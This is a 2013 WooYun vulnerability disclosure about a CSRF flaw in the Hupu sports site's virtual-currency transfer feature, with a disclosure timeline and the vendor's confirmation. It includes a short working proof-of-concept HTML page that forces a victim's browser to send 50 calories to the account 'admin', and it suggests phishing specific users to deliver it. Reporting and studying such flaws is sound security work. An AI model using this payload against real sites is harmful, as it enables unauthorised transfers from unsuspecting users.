当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2013-035646

漏洞标题：虎扑体育网某功能存在csrf可转账论坛虚拟币

相关厂商：虎扑体育网

漏洞作者： isaac

提交时间：2013-08-30 16:34

修复时间：2013-10-14 16:34

公开时间：2013-10-14 16:34

漏洞类型：CSRF

危害等级：高

自评Rank：15

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2013-08-30： 细节已通知厂商并且等待厂商处理中
2013-08-30： 厂商已经确认，细节仅向厂商公开
2013-09-09： 细节向核心白帽子及相关领域专家公开
2013-09-19： 细节向普通白帽子公开
2013-09-29： 细节向实习白帽子公开
2013-10-14： 细节向公众公开

简要描述：

虎扑体育网转帐处存在csrf漏洞

详细说明：

虎扑有个银行功能, 存款单位为卡路里
这次试了一下

Snip20130829_1.png


抓包看到过程

Snip20130829_2.png


没有token, refer去掉后也依旧转帐成功, 证明存在CSRF可能性

漏洞证明：

1. 利用xss.js中的代码，在服务器上建立一个html页面

<html>
    <script src="xss.js"></script>
    <script>
        xss.csrf(url="http://my.hupu.com/bank_act.php", {"action": "virement", "pwuser": "admin", "to_money": "50", "content_plus": "csrf"});
    </script>
</html>


2. 用户点击后就会自动给admin用户转帐50卡路里
3. 利用方面主要依赖钓鱼技巧，给特定用户发链接钓其中招

Snip20130829_3.png

修复方案：

版权声明：转载请注明来源 isaac@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：15

确认时间：2013-08-30 18:25

厂商回复：

会尽快安排处理

最新状态：

暂无